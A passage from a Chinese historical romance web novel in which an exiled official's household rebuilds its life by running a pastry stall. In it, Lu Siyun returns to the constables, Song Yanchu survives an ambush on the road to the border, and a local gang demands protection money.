陆琛难得的不在板着脸，而是带着浅浅地笑意挑眉：“谢我什么？”
“我知道，一定是你向皇上求情，才让夫君免于死罪。”
“我可没有那么大的面子。”
莫婉晴脸上露出疑惑的表情。
陆琛想了想，还是将事情的来龙去脉全都告知了她。
意料之中的，他看到莫婉晴的脸上露出惊的神情。
“原来，流放边境，是夫君自己的决定。”
“宋兄心系国家，为大宣国的安危，愿意舍小家为大家，这份气节，陆某佩服。”
注意到他称呼的改变，莫婉晴欣慰地笑了：“看来你和夫君已经成为了很好的朋友。”
陆琛听着她一遍又一遍地叫着宋晏初“夫君”，终于有些按耐不住心中的醋意，他上前一小步，拉近彼此的距离，似笑非笑地问：“你打算，认他这个夫君到几时？”
莫婉晴露出一脸高深莫测地笑：“这是我自己的事，不劳陆大人费心。”
陆琛一脸被她拿捏住了的神情，让莫婉晴的笑意更深了。
不打算与她在这件事上纠缠太多，反正他早就打定主意，无论多久，他都会坚定不移地等她。
眼下宋府被查封，她们无家可归，给她们找个安身之所是当务之急。
“我在城东有一间旧宅，宅院不大，但你们几人住刚好。只不过那里条件不比少卿府，可能要委屈你们了。”
“现下我们能有一处落脚的地方便已知足，何来委屈一说。谢谢你，真是帮了我们大忙。”
“我答应过宋兄，在他离开的这段时间照顾好他的家人，我不能言而无信。”
几个人简单地收拾完自己的包袱，现在宋府门口，看着宋府的大门缓缓和上，然后被贴上白色的封条。
翠柳忍不住哭了起来。
她一哭，碧水也被她传染，跟着一起抽泣。
陆思云心情也很失落，宋府是她穿越后待的第一个地方，是她的起点也是她的原点，是她的家。
现在原点没了，家没了，心里当然是很难过。
但是宋晏初保住了性命，哪怕是流放边境，哪怕是查封了宋家。
只要人活着，就什么都有希望。
所以，虽然家没了，但陆思云心里的希望之火并没有熄灭。
相比其他人的伤心欲绝，莫婉晴显得平静许多。
作为如今的一家之主，她没有时间伤心，她已经在想如何带领家里人一起继续生活下去。
在等宋晏初边境立下军功回来之前，她们得先想办法活下去，才能有后面的重逢。
查封了宋府之后，在路人的指指点点之下，他们几人跟着陆琛，来到城东的旧宅。
陆琛的这座旧宅子，虽然破败了一些，但却比莫婉晴想得要大许多，他们六人住绰绰有余。
“谢谢你，陆大人。我都不知该如何感谢你才好。在我们落魄的时候，您还能如此帮助我们，实在是感激不尽。”陆思云看着这宅院，简直想对着陆琛直接跪下了。
“只是一间废弃的旧宅，我空着也是空着，二夫人不必这么客气。”
“星然妹妹说得对，”莫婉晴笑着走过来：“虽然这对陆大人来说只是举手之劳，但对我们来说却是雪中送炭，我们在此谢过陆大人。”
两人一起向陆琛行礼致谢。
之后，陆思云自动消失，去帮翠柳她们收拾屋
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子去了，将前厅留给他们二人。
“后日，就是宋兄出发的日子。”
“边境之路路途遥远，和亲王这次没能得逞，必定在路上有所动作，陆大人可有对策？”
“你放心，我已经安排锦衣卫中的精锐暗中互送宋兄去边境。另外，皇上也派人暗中保护他。表面上宋兄是流放，实则是有皇命在身，皇上必定要确保他安全到达边境，才好为他谋事。”
莫婉晴觉得他说的颇有道理，心里也便放心了不少。
陆琛看她这么关心宋晏初，有些吃味地问：“你很担心他？”
莫婉晴抬头看向他，目光坦荡：“是，我当然担心他。且不说他曾今是我的丈夫，他从未亏待我，并且他与我从小一起长大，我把他当弟弟一样看待。如今他又是我最好的姐妹的所爱之人，我自然希望他平平安安地回来，与她终成眷属。”
“陆琛，如果在你的心里，一直都介意我曾经与他做过夫妻，那我们便不会有未来。因为这件事它永远都是存在不会消失，它永远都会成为横在我们之间的障碍。”
听到她这么说，陆琛有些着急。他连忙上前，轻轻地握住她的手，道谢：“对不起，是我小心眼了。我并不是那个意思，我大概是有些嫉妒，嫉妒他有名分，而我……”
无名无分，没有资格陪在你的身边。
难得听到他这般委屈的说话，莫婉晴觉得有些新鲜。
能让锦衣卫指挥使陆琛这么委屈的人，大概也只有她莫婉晴一人。
想到这里，她便不觉得生气，相反心里还有些窃喜。
“陆大人想要名分，得靠你自己争取呀。”
说完，莫婉晴带着一抹高深莫测的笑，告辞离开。
陆琛在门口皱眉想了片刻，突然恍然大悟，脸上露出些许欣喜之色。
六个人收拾了大半天，这才将旧宅收拾干净。
碧水和翠柳简单做了几个菜，六个人围坐在一起，开始了新生活的第一顿晚餐。
“从今日起，我们六人便不再是主仆关系。大家一起想法子，谋生路。我相信天无绝人之路，只要我们六个人一条心，我们一定可以好好生活下去。”
“姐姐说得对！天无绝人之路！”
鼓舞完大家的士气，莫婉晴便开始说正事：“方才陆大人同我说，后天夫君便要出发去往边境。边境路途遥远，又是苦寒之地，我们得为他准备一些棉质衣物。今晚我们几个辛苦一些，多赶几件衣服，后天我和妹妹给夫君送去。”
“好。”
翠柳她们走后，莫婉晴握住一旁还处在茫然状态的陆思云的手。
“姐姐，我觉得自己有很多很多话想同他说，可我担心真的见到他的时候，我却不知道说些什么。也许我的心里对他还是有怨恨的。我怨他，为何做事如此冲动，不计后果。我怨他从未想过，他这么做我们之间可能就完了。我怨他什么都不跟我说，让我对现在的状况毫无招架之力。”
莫婉晴思索了片刻，还是决定将她从陆琛那里听到的有关宋晏初的身世告知陆思云。
“关于夫君这次位置执意要杀了傅宏逸，他有不得已的苦衷。我也是从陆大人那里听到，才明白夫君为何如此。”
“思云愿闻其详。”
待她听完莫婉晴告知的内容时，脸上的震惊不亚于当初莫婉晴听到时的情况。
任谁听到这样一个惊天大秘密，都会为之震惊。
更何况主人公还是与她们都息息相关之人。
“所以妹妹不要再埋怨他了，那段时间夫君实在是承受了太多。”
陆思云拭去眼角的泪水，轻轻点头。
61.第 61 章
宋晏初出发的那一日，天气灰蒙蒙的，见不到一丝阳光，宛如他未知的前途，一片迷茫。
陆琛一早就驾着马车来旧宅接她们前往边关处，等待宋晏初。
陆思云和莫婉晴站在那，深秋的风吹在身上，吹得她们的脸上阵阵凉意。
但此时她们却并不在意这些寒冷，眼睛一直注视着城门远处，焦急地等待着那个人的出现。
当看到身穿白色囚服的戴着镣铐，有些落魄颓然的宋晏初出现的时候，陆思云的眼泪忍不住落下来。
她的脑海中突然浮现出他们第一次见面的场景。
少年意气风发、剑眉冷目地看着自己，如今再看眼前的他，恍如隔世。
莫婉晴见到这样的宋晏初，心中也很是怜惜，但她到底是比陆思云稳重一些。
她知道宋晏初和陆思云一定有很多临别的话要说，她想把时间尽可能到的留给他们两个人。
于是她上前，将目前家里的近况跟宋晏初汇报了一下。
“晏初，宋府已经被查封，下人我已经多给他们发了一个月的工钱全都遣散。目前除了我和妹妹的两个贴身丫鬟翠柳和碧水，还有刘管家和之前掌管账房的松萝留了下来。陆大人将曾经的旧宅借我们居住，所以我们几个也算暂时有了落脚的地方。接下来我们也会想办法自谋生路，你不用担心。边境条件艰苦，我们连夜赶制了几件棉衣，你且带着，你去了那边要自己注意身体，早日立功归家。”
宋晏初听完她的话，很感激地对着站在不远处看着他们的陆琛深深地鞠了一躬。
陆琛微微点头示意。
随后宋晏初对莫婉晴道谢：“谢谢你婉晴，明明我已将和离书交于你，我们也不再是夫妻，你依旧不离不弃，这份心意我会永远谨记在心。”
莫婉晴却并不在意：“就算你我已和离，毕竟曾经有过夫妻情分，我不能在你落难之时落井下石，这不是我莫婉晴的为人，况且我与思云是好姐妹，自然要一起同甘共苦。我知时间紧迫，你们有很多话要说，我在那边等妹妹。”
莫婉晴交代完要交代之事，便走到陆琛的旁边，与他站在一起，看着那边依依不舍的两个人。
陆思云泪眼婆娑地看着他，哽咽地说不出一句话。
她明明有好多话想说，可是站在他面前，她却头脑空白，一个字也说不出来。
马上就要分别，相隔万里，归期未定，下沉见面又不知道是何时。
宋晏初的内心也充满了不舍。
但更多的还是无奈。
驻守边境，是他自己求来的，男儿志在四方，为国为民，他甚至愿意付出生命，所以他并不后悔自己的决定。
只是在儿女情长面前，总是会泄露自己内心的一些柔软面。
他伸手抚摸着陆思云的脸颊，为她擦去脸上的泪水。
“不要难过，在家等我回来。”
陆思云用力地点头，“宋晏初，我对你只有一个要求。”
“什么？”
“一定要平安回来，我在洛城等你。”
“好，我答应你。”
两人紧紧拥抱在一起。
千言万语，全都融化在这个拥抱中。
陆琛和莫婉晴，看着远仿佛是在用生命拥抱的两个人。
他不自觉地看向身边的人，此时她眼眶通红，正一瞬不瞬地看着前面的两个人，感受着他们的苦楚。
陆琛忽然觉得自己很幸运。
心爱之人就在触手可及的地方，只要他想，甚至每天都能看到。
他此时此刻才发现，原来自己求的，也不过就是寻常人的生活。
送别了宋晏初，陆思云便有些一蹶不振。
整个人像是没了奔头，感觉她的魂儿跟着宋晏初一起去了边境。
莫婉晴理解她的心情，便没去打扰她，让她独自伤怀。
陆思云可以自怨自艾，可莫婉晴却不行。
如今这个家只剩下他们六个人。
要养活这六个人，看似不难，但如何长久地生活下去，就得好好规划。
她将家里的几个人全都着召集到一处，一起讨论接下来的路应该如何走下去。
“松萝，你一会儿盘算一下，目前家里还剩多少银子，够我们维持大概多久的开销。”
“大夫人，我已经盘算过了，目前我们拥有的钱财，节省一点的话，可以维持大概一个月左右。”
“好，那这一个月中，我们必须找到新的营生，不能坐吃山空。你们各自想想，你们有没有什么擅长的，拿得出的手艺？”
翠柳想了会儿，说：“我会做糕点。我们可以做一些试着去街上摆摊叫卖。”
碧水也不甘示弱：“我刺绣还行，平时绣个荷包什么的，也能去卖卖。”
刘管家有些羞怯地说：“我年纪大了，也没什么拿得出手的绝活。”
松萝也犯了愁：“我这只会算账，别的什么也不会……”
莫婉晴却笑着说：“刘叔，你以后还是在家里管事儿。我们以后出去营生，家里大大小小的事情都得有个人去张罗。您就在家里，采买每日需要的东西。”
“松萝你可以继续做家里的管账先生，以后这家里的每一笔开销，你都要精打细算，用到刀刃上。”
“你们二位虽然不用出去赚钱，但却是我们这个家最好的后勤保障，也是非常重要的职位，不可或缺。”
得到莫婉晴的肯定，松萝和刘管家的脸上也露出了自信的笑容。
“你们在说什么，这么热闹？”陆思云不知什么时候出现在门口。
莫婉晴见她愿意走出房间同他们说话，就知道陆思云已经自行安抚好自己的情绪。
她立刻笑着拉她一起坐下讨论：“我们在讨论接下来我们要做些什么营生。目前我们的钱时只够我们一个月的生活，我们必须在我们弹尽量绝之前找到赚钱的办法。”
听了她的话，陆思云脸上露出愧疚的神情：“在大家都在谋生计的时候，我却还在独自伤心，我实在太不应该了。”
“妹妹别这么说。妹妹的心情我理解，所以这些时间我才没有打扰妹妹，等着妹妹自己振作起来。我相信以妹妹坚韧的意志，一定很快就能重新振作起来。”
陆思云思考了会儿，说道：“我除了破案也没别的擅长的。明日我就去六扇门，找萧捕头，看看能否让我回六扇门当差。这样至少我们能有一份稳定的收入。”
陆思云的办法莫婉晴十分认可。
摆摊毕竟有很大的不确定性，每日的收入也不稳定。
如果陆思云回到六扇门，那每月就会有俸禄，这样就算摆摊摆得不理想，她们也不用担心这个月没钱入账。
相当于她们的生活就有了一份保底收入。
“只是如今你的身份，六扇门的人还会再请用你吗？”
她知道，当初陆思云能进六扇门，靠的是宋晏初的一封举荐信。
如今宋晏初流放，宋府被查封。
今非昔比，她担心陆思云去会吃闭门羹。
陆思云却反过来安慰她：“姐姐不用担心，我与萧捕头之前一起查案时有些故交，请他帮忙引荐，成功的可能性会大一些。况且我的办案能力，宋典史是见识过的。”
这是一个机会，试是一定要去试一试的。
但莫婉晴如今凡事都喜欢先做最坏的打算。
“既如此，那六扇门的差事就叫给妹妹去
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争取。我们这边的摆摊营生，还得继续筹备起来。”
她转头对翠柳嘱咐道：“翠柳，你今晚就想几个糕点做法出来，先做几款，明日试着去街上卖卖看，如果可行，就加量继续。”
“好咧，我这就去厨房研究。”
翠柳干劲满满，立刻起身奔去厨房。
莫婉晴又对碧水说：“碧水，你也可以设计几款荷包，等我们摊位摆顺了，也可以放在摊位上一起卖。”
“好，那我回房间去想想花纹。”
看着大家全都干劲满满的样子，莫婉晴的心里还是十分欣慰的。
遇到磨难，所有人全都没有泄气，而是积极的面对接下来的困难险阻，这让她这个主事人，也有了许多底气。
她的操劳与付出，陆思云全都看在眼里，感激在心中。
她拉着莫婉晴地手，特别真诚地说：“谢谢你，莫姐姐。幸好这些时间有你陪在我身边，不然真的不知该如何是好。明明你可以独善其身，却还是愿意陪着我们蹚这趟浑水。”
“从我们互相交换彼此秘密的那天起，我们不是就说好，要做一辈子的好姐妹，有福同享有难同当吗？这个时候我怎么能轻易离开，我会遭到良心的谴责。我曾今的模样你也是见过的，重生回来我早就对生活失去了动力，是你曾今那么真诚地待我，鼓励我重新振作起来，把我从泥沼中拉出来，让我感觉自己又重新活了过来。如今我有了想做之事，想爱之人，觉得生活又有了盼头，这都是妹妹的功劳。现在我也不过是还报妹妹之前的恩情罢了。”
“我们姐妹之间，就不要这么客套了。以后我们姐妹一条心，一起将这个家重新撑起来。”
“好，我也不瞒妹妹。我并不局限于摆摊，我希望我可以带着你们做大做强，我要把我们失去的，全都重新拿回来。”
“姐姐想做什么，我都会支持配合。”
两人握着对方的手，彼此在对方的眼中看到了光亮。
回到房间，陆思云振奋不已。
经过莫婉晴的鼓励，之前颓废的模样早就荡然无存。
她坐到案桌边，提笔将家中的情况，以及自己的思念都写在寄往边境的信中。
莫婉晴原本也打算回房休息，却在路过大门的时候，感觉到了一些异样。
她心中突然一动，鬼使神差地往门口走去。
果然在门口看到站得笔直的陆琛。
“这么晚了，你怎么过来了？”
他的府邸离这儿其实不算近。
陆琛看向她，难得的神情有些羞怯：“以后每日我都这个时辰来看你。”
莫婉晴愣住，但随即笑着答应：“好”。
能每天见到他，同他说说话，莫婉晴自然是欢喜的。
陆琛话不多，但却是一个很好的倾听者。
今夜，她便将自己的营生筹划说与他听。
他很认真地听完后，得出结论：“可以试试，不过情势可能不容乐观。”
“何以见得？”
陆琛却在这时候卖起了关子：“这就让等莫老板自己去摆上几日，方能知道其中奥秘。”
“摆摊的事我也许帮不上什么忙，不过二夫人去六扇门当差的事，我倒是可以暗中跟宋典史打个招呼。”
莫婉晴却不想让他为难。
锦衣卫向来不插手任何事端，她担心陆琛会因为帮了他们而被人抓住把柄。
似乎是看出了她的犹豫，陆琛继续道：“不用担心，只是打个招呼，举手之劳而已。”
听他这样说，莫婉晴便不再推辞。
毕竟，他们这个家目前非常需要陆思云这份稳定差事。
“我替思云妹妹，谢过陆大人。”
62.第 62 章
“我替思云妹妹，谢过陆大人。”
“那你呢？打算如何谢我？”
莫婉晴愣住，她试探地看向他，发现他眼角含笑地盯着自己。
“那就看陆大人能否帮到这个忙，如果帮上了，婉晴一定重谢。”
陆琛挑眉，他开始有些期待起来了。
在正是摆摊之前，莫婉晴带着碧水查看东南西北四个集市的人流量和卖货的品种。
综合考虑，还是决定选择城东的集市。
一是因为城东的集市离他们的住所最近，可以省去车马费用，节约成本。
二是因为城东的集商贩大多卖菜为主，早餐摊位虽然也有，但是很少有人卖糕点。
确认好摆摊的地点，莫婉晴便开始张罗起来。
等一切都准备就绪以后，就只等着翠柳把糕点做出来了。
另一边，陆思云怀着忐忑的心情来到六扇门门口。
自从她离开六扇门去了大理寺后，就没有机会再回来看看曾经的同僚们。
如今自己落魄了，想再回来这里，其实她心里的顾忌还是非常大的。
她在门口踱来踱去，犹犹豫豫的，迟迟不敢走进去。
“星然妹子？”
背后突然响起一个声音，陆思云回过身去，看到孙二斤穿着捕快的衣服，站在离她不远的地方。
看到二斤，陆思云还是有些高兴的。
“二斤兄！”
孙二斤见到她，笑嘻嘻地小跑到她面前。
“你怎么来这儿了？”
转念一想，他便立刻想起来前段时间发生的事，知道她心里一定很不好受。
“你的事儿我都听说了，你没事吧？家里还好吗？”
有人关心自己，让陆思云心头一暖，她忍住泪意点点头：“挺好的，谢谢你二斤。萧捕头在里面吗？我找他有点事儿。”
“找他你进去就是了，怎么还在门口杵着。走，我带你进去找萧捕头。”
说完，他带着陆思云进了六扇门。
一路上，凡事认识她的同僚，全都笑着同她打招呼。
这让陆思云有一阵的恍惚，仿佛自己并没有去大理寺，仿佛宋晏初没犯事儿，仿佛宋府还未被查抄。
自己依旧是六扇门一个普普通通的小捕快。
萧楚翊见到她，露出惊讶的神情。
“楚娘子？你怎么来了？”转念一想，连忙改口：“宋二夫人，之前不知道你是大理寺少卿的二夫人，多有得罪，还望夫人莫怪。”
“之前是我特意隐瞒了身份，是我过意不去，萧捕头无须道歉。如今夫君被流放，宋府被查抄，我也不再是什么少卿夫人，所以萧捕头不用这么称呼我。”
“宋大人的事，我也听说一些。没想到居然会变成这样，实在叫人唏嘘。”
宋晏初的隐情，她不能告知他人。
所以陆思云对此只能沉默不语。
萧楚翊又问：“既然府邸被查抄，那你们现在可有住处？”
“萧捕头放心，目前我和家人已经找到落脚的地方。只是，现在家里没了顶梁柱，我必须得某份稳定的差事，才能解决家里的燃眉之急。”
陆思云的意思，萧楚翊立刻心领神会。
“你跟我来，我带你去找宋典史。”
见他没有半分犹豫地带她去找宋典史，陆思云很是感激。
“多谢萧捕头。”
萧楚翊领着她去见宋典史。
刚见到他，宋典史便关切地问：“宋夫人，一切可还好？宋大人的事我都听说了，下官十分惋惜。”
“多谢宋典史关心，家里一切都好。今日前来，是斗胆想回六扇门谋一份差事。”
听见她的请求，宋典史的脸上没有任何惊讶之色，似乎早就预料到她来这里的目的。
陆思云的心里正有些疑惑，就听见他说：“其实昨日陆指挥使来找过下官，让我通融你回六扇门。”
“陆指挥使？是那位锦衣卫指挥使陆琛？”
萧楚翊惊讶地看向她，他没想到楚星然竟然认识锦衣卫，并且还能让锦衣卫帮她向宋典史求情。
陆思云没想到陆琛会帮自己，到想到莫婉晴这一层关系，似乎也并不感到有多惊讶。
宋典史继续说：“既然陆大人开口，下官没有不答应的道理，明日你就回来六扇门当捕快，你看可好？”
如若是以前，她大概还会因为自己的那点自尊心而拒绝陆琛的帮助。
但是现在，家里还有一家子的人等着自己要养活，她的自尊心在现实面前无关紧要。
那个意气风发，光彩夺目的女孩，如今也长大了。
懂的如何放下自尊，面对现实。
“多谢宋典史。”
确定自己可以回六扇门以后，陆思云的心情还是不错的，毕竟她有一份稳定的收入，家里的负担也能因此减轻。
虽然是靠陆琛的帮助而非自己的努力，但是结局是好的，是什么原因导致的结果这又有什么关系呢。
孙二斤一直送她出了六扇门，他知道陆思云要回六扇门，也十分高兴。
“太好了，你回来，咱又可以一起搭档巡街了，”
陆思云回想起曾经他们俩一起当差的日子，其实是美好又无忧无虑的。
她拍了拍二斤的肩膀，笑着道：“是啊，我也很开心能回来跟你一起搭档。”
回到家，陆思云迫不及待地将这个好消息告诉大家。
大伙儿都很开心她能回六扇门做捕快。
她的成功为大家接下来的摆摊涨了士气。
陆思云单独找到莫婉晴，向她道谢：“谢谢姐姐，我知道是陆大人帮我向宋典史打了招呼，我才能顺利回到六扇门。而我也知道，他定是看在姐姐的面子上才愿意帮我的。”
莫婉晴却不甚在意：“我没提前告诉妹妹，是担心妹妹知道后会有所顾忌。现在看来，妹妹对他暗中相助，似乎并不反感，我也就放心了。陆琛的官职，在六扇门里还是能说的上话的。我当然也知道凭妹妹的实力，想要回到六扇门也不是什么难事，只是有他的帮忙更加事半功倍。目前我们日子艰苦，不能失去你这份稳定的收入，还望妹妹不要觉得委屈了才好。”
“姐姐说的这是什么话。我回六扇门原本也是为了我们这个家的生计。无论是什么手段，只要能回六扇门，能帮到这个家，怎样我都能接受。姐姐为了这个家，操心劳力，若我能出一份力，我开心还来不及，哪会觉得委屈。姐姐多虑了。”
“你能这么说，我就放心了。翠柳做了几款糕点，妹妹是否愿意陪我去厨房一起品鉴品鉴。”
“我当然愿意。”
两人一起来到厨房，翠柳已经将做好的糕点一一放在桌上，满脸红光，眼神里带着期待地看着他们。
陆思云看着桌上小巧精致的点心，就知道翠柳是花了许多心思的。
自她穿越到这个世界，翠柳就一直陪在她的身边，虽然知道她会下厨，经常会煲汤给自己喝，但却不知她竟然还有这么好的手艺。
“翠柳，你真是深藏不露啊。让你在我身边做丫鬟，实在是屈才了。”
翠柳被她揶揄的满脸通红：“夫人你说什么呢，能服侍您是翠柳最大的福分。”
她拿起桌上的一款点心递给她，笑着说：“您快尝尝，我做的点心味道如何？会有人愿意花钱买么？”
陆思云张口将递过来的糕点吞入口中。
一股
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桂花的香气立刻萦绕在整个鼻腔，糕点入口即化，甜而不腻，真是绝了。
她对着翠柳竖起了大拇指：“翠柳，太好吃了！你的手艺一定可以惊动整个洛城。”
翠柳被她夸得脸色通红，眼角湿润。
“夫人，你太夸张啦。”
“我说真的，你们大家都快尝尝。”陆思云将桌的糕点分给其他人。
她此刻的心情就好像自己的孩子出息了，想要到处炫耀自己的孩子。
众人吃了，纷纷点头说好吃，这可把翠柳高兴坏了，一下子信心倍增。
莫婉晴吃了翠柳做得糕点，确实味道比自己预期的好太多，对摆摊事业的前景又有了很大的期望。
——————
宋晏初戴着枷锁，走在前往边境的崎岖山路上。
云青同他一样的装扮，紧随其后。
两人面色都十分凝重，全身都保持着戒备。
对于皇上的裁决，和亲王自然一万个不满意。
按照他的一向的做事风格，既然他没办法用皇上这把刀将自己除掉，那他一定会自己动手。
“大人，您说和亲王真的会动手么？”云青跟在他身后，轻声询问。
他们出发已经有七八天了，每天他们都保持高度警惕，生怕被和亲王的人袭击。
但是长久的神经紧绷很损耗人的精神力，云青并不怕跋山涉水，可这种损耗心神的日子他受不了。
还不如直接打一架来得痛快。
宋晏初冷眼看着前面的路，语气十分确定地说：“若我到了边境，进了军队，他便很难下手。所以，他一定会选择路上动手。”
“但是，这都好几天了，也没……”
云青话还没说完，突然觉得脸颊吹来一阵犀利的寒风。
然后他听到宋晏初沉稳且确定的声音：“来了！”
很快，山顶突然出现十几个黑衣人，他们全都训练有素，一下来便将押送他们的衙役全都杀死。
手法干净利落，不带一丝含糊。
宋晏初和云青神色一凛，互相帮对方接触手上的束缚，拿起一旁已经死透了的衙役的剑，准备开始应战。
两边交战一触即发。
宋晏初和云青以寡敌众，形势不容乐观。
但是，他不能死在这里。
他身上还有未完成的使命，这关系到大宣国的安危。
家里还有人在等着他平安回去。
他还有很多事没做，还有很多事要做。
他不能就这样死在路上，绝不！
宋晏初的眼底染上了一层杀死，今日他已经做好杀出一条血路的准备。
就在双方都准备向对方出手之际，突然不知又从哪里冒出来一波人，将黑衣人全部斩杀。
速度之快，让宋晏初和云青目瞪口呆。
等那帮人处理完黑衣人的尸体，为首的一个穿着青色布衣的人走到宋晏初面前，向他抱拳道：“宋大人，我们乃奉陆指挥使的命令，护送陆大人前往边境。”
“陆大人？”
宋晏初有些意外，但仔细想想似乎也在情理之中。
以陆琛的聪明才智，定然也预料到此次路上一定凶险万分，他会派人保护自己，宋晏初内心十分感激。
“有劳陆大人挂念在下，宋某感激不尽。”
“除了我们锦衣卫，皇上也是派暗卫在暗中保护您。有我们双重保险护您周全，定能把您平安送到边境。”
听了他的话，宋晏初连续紧绷了好几日的神经终于松懈了下来，露出了这几日以来第一个真心的笑容。
“多谢你们各位相助，宋某铭记于心。他日有机会定当结草衔环，报答今日各位的救命之恩。”
63.第 63 章
远在皇城的陆思云，并不知道自己的夫君刚经历过了生死。
此时她正跟孙二斤一起穿梭在大街小巷巡逻。
重新穿上这身制服，她心里其实还是挺高兴的，仿佛又回到了她的原点。
同样感到很开心的还有二斤。
虽然楚星然刚来六扇门的时候，被许多人都瞧不起，还处处被针对。
就连他这个在六扇门里地位最低的人，也因为她是女子的身份而看轻她。
但后来她用她的能力证明了自己，让六扇门里所有人都对她刮目相看。
让所有人都敬佩她，倾慕她。
这里面，也包括他自己。
所以，楚星然能重新回到六扇门，重新与他一起搭档巡街，对孙二斤来说，不能用简单的“快乐”二字来形容。
两人一边在大街上走着，孙二斤一边同她说她不在的这段时间，六扇门里发生的变化。
“你是不知道，自从你去了大理寺之后，李响就被大伙儿孤立了起来。”
陆思云有些意外地抬头看他：“为什么？”
“还能为什么，当然是因为他之前不识好歹，总跟你作对。后来你走之前还拉下脸请他吃饭，他都没答应。大家就都不愿意跟他呆在一块儿了。”
“他身边不是还有两个小跟班吗？”
“一开始是孤立他们三个。后来赵小四和另一个跟班知道大家孤立他们是因为李响。为了不再被大家孤立，他们便也离开了李响。所以后来就变成孤立李响一个人了。从前他怎么对你的，大伙儿就怎么对他。算是以牙怀牙，替你报仇了。”
然而，陆思云听了二斤的话，并没有半分喜悦之色。
原本她被李响欺负排挤，自己也从未在意过。
因为她从来没把李响他们当回事。
她要做的事有很多，没必要去浪费与同僚勾心斗角上。
所以今日她听到李响的遭遇，并没有幸灾乐祸的感觉。
“那李响后来呢？”今天陆思云去六扇门的时候，似乎并没有见到他。
“早就不干了，回去种地了。”
“就因为被孤立，所以就放弃做捕快了么？”
“不是所有人都能像你一样，有一颗强大的内心。有的人如果得不到别人的认可，被冷漠对待，心里肯定会受不了，就不想呆了。”
陆思云笑了，她揶揄道：“你之前也被他们欺负的厉害，还不是挺过来了。”
孙二斤抬起下巴，一副洋洋自得的模样：“那必须是因为小爷我也有一颗强大的内心，能抵住他们的冷言冷语。”
“不过话又说回来，你原来已经嫁人了，不但嫁人了，还嫁给了大理寺少卿。有这层关系，你当初为何不早说呢？说了大家就不会那样看不起你。”
陆思云却冷静地回答：“如果我表明了我的身份，无论之后我做任何事，都永远甩不掉‘大理寺少卿夫人’这个身份。这不是我想看到的结果。我希望打击认可的是我这个人，而不是我的身份。”
“我发现你可真不是一般人。”
她自嘲道：“我现在可是一般的普通人，也需要这份差事养家糊口。”
孙二斤自然也知道宋家发生的事，为了不触及她的伤心事，于是便贴心的不再多言。
两人正说着话，突然听见集市那边有吵闹声。
二人迅速对视了一眼，朝着声音的方向跑去。
拨开人群，陆思云看到大家围着的是莫婉晴的摊位。
她见状立刻走过去，询问：“莫姐姐，怎么回事？”
莫婉晴见到她，原本愤怒的脸色缓和了许多。
她瞪了一眼前面的人，说道：“此人居然要问我们收保护费，说是这条街的规矩。我们坚决不给，他便找我们的麻烦。”
陆思云看向眼前的人，此人人高马大、满脸络腮胡，左边脸上还有一个刀疤，一直从眉角延伸道眼角处，看上去十分凶悍，身后跟着两个小弟，同样面色不善。
见了他们这些穿着官府的捕快，也并没有任何惧怕之色。
“官差来了，这保护费也必须收，这是道上的规矩。”
“敢问这位兄台，着保护费多少钱？如何收？”
“二两一月。”
“二两？”翠柳听了忍不住站出来：“你怎么不去抢劫算了。”
那男人斜眼看过去，凶神恶煞，翠柳立刻吓得躲到了陆思云的身后。
孙二斤在陆思云的身后偷偷拉扯她的衣服，在她耳边小声说道：“星然妹子，他是青龙帮的独眼龙，不是个善茬，你千万别跟他硬碰硬。”
如若是以前，她才不管对方是青龙帮还是白蛇帮，只要行的不是正义之事，她照打不误。
可如今，她早就不是以前的天不怕地不怕的那个陆思云了。
她有了软肋，有了顾忌，也认清了其实自己根本不强大。
她之所以以前敢如此肆意妄为，完全是因为她知道无论她闯什么祸，都有宋晏初为她兜底。
如今这个后盾不在，她变成了这个家的后盾。
她这才发现，原来给别人兜底，是一件多么困难的事。
陆思云堆起一丝笑容，同独眼龙说：“独眼大哥，我们才出来摆摊没几天，这二两银子一时半会儿拿不出，能不能宽限我们几日？”
独眼龙看了一眼陆思云身上的官差服，不情愿地说：“今天是看在你这位差爷的份上，我再宽限三日。三日后，我再来收银子。”
说完边带着身后的小弟离开。
他们走后，莫婉晴气愤地说：“妹妹你怎么能这么轻易就答应给他们二两银子。且不说这二两钱不是一笔小数目，他们目无王法随意收取费用中饱私囊的行为，我们不能助长。如果我们每个摊贩都这么忍气吞声，那就永远每个月都要白给他们这笔钱。”
陆思云很少见莫婉晴有这么生气的时候，想必方才定是被气了个够呛。
“姐姐稍安勿躁。我听二斤说，此人是青龙帮的人，我们目前还没搞清楚这些到底是什么人，能不能招惹。如果就这样反抗他们，也许我们一天生意都做不下去，影响我们营生那岂不是得不偿失。”
“我先用缓兵之计拖延几日，待我搞清楚这青龙帮到底什么来历，我们再做打算。姐姐以为如何？”
冷静下来之后，莫婉晴觉得陆思云说得有道理，便也不再多说什么。
如今她就在六扇门当差，调查这青龙帮的事肯定比自己要擅长，她只需要跟翠柳、碧水顾好这个摊位营生便可。
见莫婉晴情绪缓和了下来，陆思云便转移话题：“今日糕点卖得如何？”
说起这个，碧水就开心地向她汇报今日的成果：“今日的糕点还没到晌午，就全都卖完了。下午翠柳回去又加急做了一批，现在也全都卖完了。我们这个糕点，在这条街上可受欢迎了。”
说到这个，莫婉晴的脸上也露出了笑容。
只是收保护费的事情，终究是个隐患，让她愁上心头。
晚上，翠柳吃完了晚饭便在厨房里忙活明日要贩卖的糕点，碧水在旁边帮忙。
莫婉晴和陆思云则坐在一旁讨论这个青龙帮的事。
“我方才回六扇门，向同僚们打听了一下。原来洛城有两个帮派，分别是青龙帮和白虎帮。分别位于城东和城北，将整个洛城一分为二，各自管辖自己的区域，一直都是井水不犯河水。”
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“大宣国法纪严明，为何还会有这样的帮派出现？”
“姐姐有所不知，虽然六扇门是衙门，但人手有限。一些日常的治安管理，都需要与这两个帮派的人一起配合。作为交换，类似这种收取保护费的事，衙门就会睁一只眼闭一只眼。私下里是否会有一些交易，他们那些小捕快就不得而知了。”
莫婉晴生气地拍了拍桌子：“岂有此理，他们黑白勾结，坑害的依旧是我们这些普通老板姓。原来助长他们气焰的，居然是衙门里的人。”
陆思云想的却是，没想到我穿越到古代，还得扫/黑/除/恶，这真是到哪里都是永恒不变的主题。
她实在是有些哭笑不得。
“妹妹打算如何做？”
“具体的计划我暂时还没想好，但是有一点是肯定的，一定要取缔这个收保护费的恶行。”
“好妹妹，姐姐支持你。”
晚上到了固定的时间，莫婉晴便会走到门口，而意料之中的，会看到那个永远笔直站在门口等自己的男子。
为了不会过度引人注意，他已经换下飞鱼服，穿着自己的深色长袍。
脱下飞鱼服的陆琛，看上去似乎没有那么严肃可怕，反而周身多了一些柔和感。
